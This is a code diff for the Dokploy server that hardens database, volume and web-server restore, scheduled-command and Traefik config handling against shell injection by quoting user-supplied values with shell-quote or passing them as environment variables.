 		let credentials: DatabaseCredentials = {};
diff --git a/packages/server/src/utils/restore/libsql.ts b/packages/server/src/utils/restore/libsql.ts
index f50f0c6da..9d7c7f15c 100644
--- a/packages/server/src/utils/restore/libsql.ts
+++ b/packages/server/src/utils/restore/libsql.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { Libsql } from "@dokploy/server/services/libsql";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials, getServiceContainerCommand } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -19,7 +20,7 @@ export const restoreLibsqlBackup = async (
 
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
 
-		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}"`;
+		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])}`;
 
 		const containerSearch = getServiceContainerCommand(appName);
 		const restoreCommand = `docker exec -i $CONTAINER_ID sh -c "tar xzf - -C /var/lib/sqld"`;
diff --git a/packages/server/src/utils/restore/mariadb.ts b/packages/server/src/utils/restore/mariadb.ts
index afa167280..e4b301f46 100644
--- a/packages/server/src/utils/restore/mariadb.ts
+++ b/packages/server/src/utils/restore/mariadb.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { Mariadb } from "@dokploy/server/services/mariadb";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -19,7 +20,7 @@ export const restoreMariadbBackup = async (
 		const bucketPath = `:s3:${destination.bucket}`;
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
 
-		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
+		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`;
 
 		const command = getRestoreCommand({
 			appName,
diff --git a/packages/server/src/utils/restore/mongo.ts b/packages/server/src/utils/restore/mongo.ts
index 91eb9af5a..163340ca8 100644
--- a/packages/server/src/utils/restore/mongo.ts
+++ b/packages/server/src/utils/restore/mongo.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { Mongo } from "@dokploy/server/services/mongo";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -18,7 +19,7 @@ export const restoreMongoBackup = async (
 		const rcloneFlags = getS3Credentials(destination);
 		const bucketPath = `:s3:${destination.bucket}`;
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
-		const rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} "${backupPath}"`;
+		const rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} ${quote([backupPath])}`;
 
 		const command = getRestoreCommand({
 			appName,
diff --git a/packages/server/src/utils/restore/mysql.ts b/packages/server/src/utils/restore/mysql.ts
index c955ef960..d237da895 100644
--- a/packages/server/src/utils/restore/mysql.ts
+++ b/packages/server/src/utils/restore/mysql.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { MySql } from "@dokploy/server/services/mysql";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -19,7 +20,7 @@ export const restoreMySqlBackup = async (
 		const bucketPath = `:s3:${destination.bucket}`;
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
 
-		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
+		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`;
 
 		const command = getRestoreCommand({
 			appName,
diff --git a/packages/server/src/utils/restore/postgres.ts b/packages/server/src/utils/restore/postgres.ts
index 8cbbe2175..05dcf38a3 100644
--- a/packages/server/src/utils/restore/postgres.ts
+++ b/packages/server/src/utils/restore/postgres.ts
@@ -1,6 +1,7 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { Postgres } from "@dokploy/server/services/postgres";
+import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -20,7 +21,7 @@ export const restorePostgresBackup = async (
 
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
 
-		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
+		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`;
 
 		const command = getRestoreCommand({
 			appName,
diff --git a/packages/server/src/utils/restore/utils.ts b/packages/server/src/utils/restore/utils.ts
index 7300ca479..dd2934430 100644
--- a/packages/server/src/utils/restore/utils.ts
+++ b/packages/server/src/utils/restore/utils.ts
@@ -1,13 +1,17 @@
+import { quote } from "shell-quote";
 import {
 	getComposeContainerCommand,
 	getServiceContainerCommand,
 } from "../backups/utils";
 
+// User-controlled values are passed to the container via `docker exec -e` and
+// read as "$VAR" inside a single-quoted inner script, so they never enter the
+// inner command text. See the matching note in backups/utils.ts.
 export const getPostgresRestoreCommand = (
 	database: string,
 	databaseUser: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
 };
 
 export const getMariadbRestoreCommand = (
@@ -15,14 +19,14 @@ export const getMariadbRestoreCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
 };
 
 export const getMysqlRestoreCommand = (
 	database: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "mysql -u root -p'${databasePassword}' ${database}"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mysql -u root -p"$DB_PASS" "$DB_NAME"'`;
 };
 
 export const getMongoRestoreCommand = (
@@ -30,7 +34,7 @@ export const getMongoRestoreCommand = (
 	databaseUser: string,
 	databasePassword: string,
 ) => {
-	return `docker exec -i $CONTAINER_ID sh -c "mongorestore --username '${databaseUser}' --password '${databasePassword}' --authenticationDatabase admin --db ${database} --archive --drop"`;
+	return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mongorestore --username "$DB_USER" --password "$DB_PASS" --authenticationDatabase admin --db "$DB_NAME" --archive --drop'`;
 };
 
 export const getComposeSearchCommand = (
@@ -88,8 +92,8 @@ rm -rf ${tempDir} && \
 mkdir -p ${tempDir} && \
 ${rcloneCommand} ${tempDir} && \
 cd ${tempDir} && \
-gunzip -f "${fileName}" && \
-${restoreCommand} < "${decompressedName}" && \
+gunzip -f ${quote([fileName])} && \
+${restoreCommand} < ${quote([decompressedName])} && \
 rm -rf ${tempDir}
 	`;
 };
diff --git a/packages/server/src/utils/restore/web-server.ts b/packages/server/src/utils/restore/web-server.ts
index 683a1898a..afcd81cf6 100644
--- a/packages/server/src/utils/restore/web-server.ts
+++ b/packages/server/src/utils/restore/web-server.ts
@@ -3,6 +3,7 @@ import { tmpdir } from "node:os";
 import { join } from "node:path";
 import { IS_CLOUD, paths } from "@dokploy/server/constants";
 import type { Destination } from "@dokploy/server/services/destination";
+import { quote } from "shell-quote";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync } from "../process/execAsync";
 
@@ -35,7 +36,7 @@ export const restoreWebServerBackup = async (
 			// Download backup from S3
 			emit("Downloading backup from S3...");
 			await execAsync(
-				`rclone copyto ${rcloneFlags.join(" ")} "${backupPath}" "${tempDir}/${backupFile}"`,
+				`rclone copyto ${rcloneFlags.join(" ")} ${quote([backupPath])} ${quote([`${tempDir}/${backupFile}`])}`,
 			);
 
 			// List files before extraction
@@ -45,7 +46,9 @@ export const restoreWebServerBackup = async (
 
 			// Extract backup
 			emit("Extracting backup...");
-			await execAsync(`cd ${tempDir} && unzip ${backupFile} > /dev/null 2>&1`);
+			await execAsync(
+				`cd ${quote([tempDir])} && unzip ${quote([backupFile])} > /dev/null 2>&1`,
+			);
 
 			// Restore filesystem first
 			emit("Restoring filesystem...");
diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts
index 64657c9a6..8107839d8 100644
--- a/packages/server/src/utils/schedules/utils.ts
+++ b/packages/server/src/utils/schedules/utils.ts
@@ -9,6 +9,7 @@ import {
 } from "@dokploy/server/services/deployment";
 import { findScheduleById } from "@dokploy/server/services/schedule";
 import { scheduledJobs, scheduleJob as scheduleJobNode } from "node-schedule";
+import { quote } from "shell-quote";
 import { getComposeContainer, getServiceContainer } from "../docker/utils";
 import { execAsyncRemote } from "../process/execAsync";
 import { spawnAsync } from "../process/spawnAsync";
@@ -77,12 +78,12 @@ export const runCommand = async (scheduleId: string) => {
 					serverId,
 					`
 					set -e
-					echo "Running command: docker exec ${containerId} ${shellType} -c '${command}'" >> ${deployment.logPath};
-					docker exec ${containerId} ${shellType} -c '${command}' >> ${deployment.logPath} 2>> ${deployment.logPath} || { 
-						echo "❌ Command failed" >> ${deployment.logPath};
+					echo "Running scheduled command" >> ${quote([deployment.logPath])};
+					docker exec ${quote([containerId])} ${quote([shellType])} -c ${quote([command])} >> ${quote([deployment.logPath])} 2>> ${quote([deployment.logPath])} || {
+						echo "❌ Command failed" >> ${quote([deployment.logPath])};
 						exit 1;
 					}
-					echo "✅ Command executed successfully" >> ${deployment.logPath};
+					echo "✅ Command executed successfully" >> ${quote([deployment.logPath])};
 					`,
 				);
 			} catch (error) {
diff --git a/packages/server/src/utils/traefik/application.ts b/packages/server/src/utils/traefik/application.ts
index 101574ed5..3da847f59 100644
--- a/packages/server/src/utils/traefik/application.ts
+++ b/packages/server/src/utils/traefik/application.ts
@@ -3,6 +3,7 @@ import path from "node:path";
 import { createInterface } from "node:readline";
 import { paths } from "@dokploy/server/constants";
 import type { Domain } from "@dokploy/server/services/domain";
+import { quote } from "shell-quote";
 import { parse, stringify } from "yaml";
 import { encodeBase64 } from "../docker/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -57,7 +58,7 @@ export const removeTraefikConfig = async (
 	try {
 		const { DYNAMIC_TRAEFIK_PATH } = paths(!!serverId);
 		const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
-		const command = `rm -f ${configPath}`;
+		const command = `rm -f ${quote([configPath])}`;
 
 		if (serverId) {
 			await execAsyncRemote(serverId, command);
@@ -76,7 +77,7 @@ export const removeTraefikConfigRemote = async (
 	try {
 		const { DYNAMIC_TRAEFIK_PATH } = paths(true);
 		const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
-		await execAsyncRemote(serverId, `rm -f ${configPath}`);
+		await execAsyncRemote(serverId, `rm -f ${quote([configPath])}`);
 	} catch (error) {
 		console.error(
 			`Error removing remote traefik config for ${appName}:`,
@@ -106,7 +107,10 @@ export const loadOrCreateConfigRemote = async (
 	const fileConfig: FileConfig = { http: { routers: {}, services: {} } };
 	const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
 	try {
-		const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
+		const { stdout } = await execAsyncRemote(
+			serverId,
+			`cat ${quote([configPath])}`,
+		);
 
 		if (!stdout) return fileConfig;
 
@@ -133,7 +137,10 @@ export const readRemoteConfig = async (serverId: string, appName: string) => {
 	const { DYNAMIC_TRAEFIK_PATH } = paths(true);
 	const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
 	try {
-		const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
+		const { stdout } = await execAsyncRemote(
+			serverId,
+			`cat ${quote([configPath])}`,
+		);
 		if (!stdout) return null;
 		return stdout;
 	} catch {
@@ -189,7 +196,10 @@ export const readConfigInPath = async (pathFile: string, serverId?: string) => {
 	const configPath = path.join(pathFile);
 
 	if (serverId) {
-		const { stdout } = await execAsyncRemote(serverId, `cat ${configPath}`);
+		const { stdout } = await execAsyncRemote(
+			serverId,
+			`cat ${quote([configPath])}`,
+		);
 		if (!stdout) return null;
 		return stdout;
 	}
@@ -221,7 +231,7 @@ export const writeConfigRemote = async (
 		const encoded = encodeBase64(traefikConfig);
 		await execAsyncRemote(
 			serverId,
-			`echo "${encoded}" | base64 -d > "${configPath}"`,
+			`echo "${encoded}" | base64 -d > ${quote([configPath])}`,
 		);
 	} catch (e) {
 		console.error("Error saving the YAML config file:", e);
@@ -239,7 +249,7 @@ export const writeTraefikConfigInPath = async (
 			const encoded = encodeBase64(traefikConfig);
 			await execAsyncRemote(
 				serverId,
-				`echo "${encoded}" | base64 -d > "${configPath}"`,
+				`echo "${encoded}" | base64 -d > ${quote([configPath])}`,
 			);
 		} else {
 			fs.writeFileSync(configPath, traefikConfig, "utf8");
@@ -272,7 +282,11 @@ export const writeTraefikConfigRemote = async (
 		const { DYNAMIC_TRAEFIK_PATH } = paths(true);
 		const configPath = path.join(DYNAMIC_TRAEFIK_PATH, `${appName}.yml`);
 		const yamlStr = stringify(traefikConfig);
-		await execAsyncRemote(serverId, `echo '${yamlStr}' > ${configPath}`);
+		const encoded = encodeBase64(yamlStr);
+		await execAsyncRemote(
+			serverId,
+			`echo "${encoded}" | base64 -d > ${quote([configPath])}`,
+		);
 	} catch (e) {
 		console.error("Error saving the YAML config file:", e);
 	}
diff --git a/packages/server/src/utils/volume-backups/restore.ts b/packages/server/src/utils/volume-backups/restore.ts
index 6f6068caf..812f6cefd 100644
--- a/packages/server/src/utils/volume-backups/restore.ts
+++ b/packages/server/src/utils/volume-backups/restore.ts
@@ -1,4 +1,5 @@
 import path from "node:path";
+import { quote } from "shell-quote";
 import {
 	findApplicationById,
 	findComposeById,
@@ -23,7 +24,7 @@ export const restoreVolume = async (
 	const backupPath = `${bucketPath}/${backupFileName}`;
 
 	// Command to download backup file from S3
-	const downloadCommand = `rclone copyto ${rcloneFlags.join(" ")} "${backupPath}" "${volumeBackupPath}/${backupFileName}"`;
+	const downloadCommand = `rclone copyto ${rcloneFlags.join(" ")} ${quote([backupPath])} ${quote([`${volumeBackupPath}/${backupFileName}`])}`;
 
 	// Base restore command that creates the volume and restores data
 	const baseRestoreCommand = `
@@ -40,7 +41,7 @@ export const restoreVolume = async (
 		-v ${volumeName}:/volume_data \
 		-v ${volumeBackupPath}:/backup \
 		ubuntu \
-		bash -c "cd /volume_data && tar xvf /backup/${backupFileName} ."
+		bash -c "cd /volume_data && tar xvf /backup/${quote([backupFileName])} ."
 	echo "Volume restore completed ✅"
 	`;